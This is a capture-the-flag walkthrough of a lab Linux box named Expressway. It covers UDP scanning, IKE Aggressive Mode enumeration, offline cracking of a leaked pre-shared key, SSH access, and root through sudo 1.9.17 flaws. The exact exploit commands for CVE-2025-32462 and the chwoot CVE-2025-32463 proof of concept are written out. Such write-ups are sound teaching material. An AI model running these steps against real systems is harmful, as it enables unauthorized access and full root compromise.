Expressway
Summary
Expressway is a deceptively minimal Linux box. A full TCP scan returns only SSH, which usually means either a dead end or a reason to look elsewhere - in this case, elsewhere means UDP. A scan of common UDP ports surfaces 500/udp running ISAKMP, the handshake protocol for IPsec VPN. From there, the path forward involves fingerprinting the IKE service with ike-scan, leaking a valid identity through Aggressive Mode, capturing and cracking the Pre-Shared Key offline, and using the result to log in over SSH. Privilege escalation relies on a non-standard sudo binary at version 1.9.17, which is vulnerable to CVE-2025-32462 - a hostname bypass that lets an unprivileged user execute commands as root by supplying a valid hostname found in the system logs.
Recon
TCP Scan
The initial scan covers all TCP ports with version detection and default scripts:
nmap -sC -sV -p- --min-rate 4500 --max-rtt-timeout 1500ms expressway.htb -oA enum
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0p2 Debian 8 (protocol 2.0)
That’s it - one port, one service. OpenSSH 10.0p2 is current enough that there are no obvious exploits to chase. The machine is clearly not a web box. The natural next step is to ask what the TCP scan isn’t showing.
UDP Scan
UDP scanning is slower and noisier than TCP, but certain services only live there - VPN endpoints being a prime example. The flags below make the scan more tractable without sacrificing too much accuracy:
nmap -sU -sV --max-rate 1500 --max-retries 2 -T4 -F --version-intensity 0 expressway.htb -oA enum_udp
PORT STATE SERVICE
68/udp open|filtered dhcpc
69/udp open|filtered tftp
500/udp open isakmp
4500/udp open|filtered nat-t-ike
Port 500/udp comes back as definitively open - meaning the host actually responded, which nmap distinguishes from open|filtered where silence leaves the state ambiguous. ISAKMP (Internet Security Association and Key Management Protocol) is the signalling layer of IKE, used to negotiate the parameters of an IPsec VPN tunnel before any encrypted traffic flows. Port 4500/udp alongside it is the NAT-traversal companion. The presence of both tells us the target is running an IPsec VPN service and waiting for clients to initiate a handshake.
IKE Enumeration
Understanding the Attack Surface
IKE operates in two modes: Main Mode and Aggressive Mode. Main Mode protects the initiator’s identity by encrypting it during negotiation. Aggressive Mode skips that protection for the sake of speed, sending the identity and a crackable hash in the clear as part of the handshake. If the server supports Aggressive Mode, the PSK hash leaks to anyone who listens - which is exactly what we are about to do.
ike-scan is the standard tool for this. The -M flag spreads multi-line output for readability, and -A requests Aggressive Mode:
ike-scan -M expressway.htb
The Main Mode response confirms the server is alive and shows us what it supports - 3DES encryption, SHA1 hashing, Diffie-Hellman Group 2, PSK authentication, and XAUTH (extended username/password auth on top of the PSK). Now the key step:
ike-scan -M -A expressway.htb
10.10.11.87 Aggressive Mode Handshake returned
HDR=(CKY-R=929b4a50d302886c)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
KeyExchange(128 bytes)
Nonce(32 bytes)
ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
VID=09002689dfd6b712 (XAUTH)
VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
Hash(20 bytes)
The server bit. The ID field hands us a valid username - ike@expressway.htb - and the Hash block is the PSK hash, capturable for offline cracking. Aggressive Mode just did our reconnaissance for us.
Capturing and Cracking the PSK
ike-scan can save the hash directly with the --pskcrack flag:
ike-scan -M -A --pskcrack=passkey expressway.htb
This writes the captured hash material to a file called passkey. We can throw it at hashcat - mode 5400 covers IKEv1 PSK with SHA1:
hashcat -m 5400 passkey /usr/share/wordlists/rockyou.txt
<SNIP>
hashkey:freakingrockstarontheroad
Session..........: hashcat
Status...........: Cracked
hashcat actually auto-detects the hash type on the first pass; running with -m 5400 explicitly confirms the mode and avoids any ambiguity. The cracked PSK is freakingrockstarontheroad.
Initial Access
We have a username from the IKE identity field (ike) and a password from the cracked PSK. The only open TCP port is SSH, so the natural test is whether these credentials were reused there:
ike@expressway.htb's password: freakingrockstarontheroad
Linux expressway 6.16.7-1 #1 SMP Debian
Last login: Fri Sep 26 00:28:12 2025 from 10.10.15.9
ike@expressway:~$
It works. The PSK, which is technically a VPN secret, doubles as the SSH password. The user flag is waiting in the home directory:
ike@expressway:~$ cat user.txt
[REDACTED]
Privilege Escalation
Manual Enumeration
With a shell as ike, the first check is always what sudo can do:
Nothing. The account has no sudoers entries. Moving to SUID binaries:
find / -perm -4000 2>/dev/null
exim4 shows up in the results, which is worth noting - it’s a mail transfer agent that has had its share of critical CVEs, and it’s not something you see on every box. However, after inspection, the binary isn’t executable by the current user, so that avenue closes quickly.
Finding the Vulnerable Sudo
Running LinPEAS doesn’t surface anything particularly useful here. It doesn’t flag the installed sudo version as vulnerable because the relevant CVEs postdate its signatures. That’s a reminder that automated tools have a knowledge cutoff - newly disclosed vulnerabilities won’t appear until someone updates the checks.
Manual version checking fills the gap:
That path is unusual. Sudo normally lives at /usr/bin/sudo. A custom path under /usr/local/bin suggests either a manually compiled build or a deliberate installation - worth investigating further:
Version 1.9.17 is vulnerable to two related CVEs, both fixed in 1.9.17p3. CVE-2025-32462 is a hostname bypass: the -h option, which normally just sets the target hostname for a remote sudo operation, has a validation flaw that allows an unprivileged user to run commands as root by supplying a hostname that exists in the system’s known hosts. CVE-2025-32463 is a separate chroot-based local privilege escalation abusing flawed initialization in sudo’s restricted mode.
CVE-2025-32462 - Hostname Bypass
The CVE-2025-32462 exploit requires a valid hostname that the system recognizes. We need to find one. The system logs are a logical place to search since any hostnames the machine has communicated with are likely recorded there:
grep -R ".expressway.htb" /var/log/ 2>/dev/null
/var/log/auth.log:... sudo: host=offramp.expressway.htb ...
<SNIP>
offramp.expressway.htb appears in the authentication logs. With a valid hostname in hand, the exploit is a single command:
/usr/local/bin/sudo -h offramp.expressway.htb -i
The -h flag sets the target hostname and -i requests an interactive login shell. Due to the flaw in version 1.9.17, this bypasses the sudoers check entirely and drops us into a root shell. The root flag:
root@expressway:~# cat /root/root.txt
[REDACTED]
Alternative Privilege Escalation - CVE-2025-32463
For completeness, CVE-2025-32463 (the “chwoot” exploit) reaches the same destination through a different mechanism. Rather than abusing the -h hostname option, it exploits flawed initialization in sudo’s -R chroot mode by loading a malicious NSS library from a user-controlled directory.
The public PoC compiles a small C shared library that promotes the caller to root via setreuid(0,0) and setregid(0,0) before handing off to a shell. It then constructs a fake nsswitch.conf pointing at that library and triggers sudo’s chroot initialization to load it:
# On the attacker machine
git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.git
scp CVE-2025-32463_chwoot/sudo-chwoot.sh ike@expressway.htb:/tmp/
Then on the target:
ike@expressway:/tmp$ chmod +x sudo-chwoot.sh
ike@expressway:/tmp$ ./sudo-chwoot.sh
woot!
root@expressway:/# cat /root/root.txt
[REDACTED]
Both paths lead to root, though the hostname bypass is the cleaner option since it doesn’t require compiling or transferring any payloads.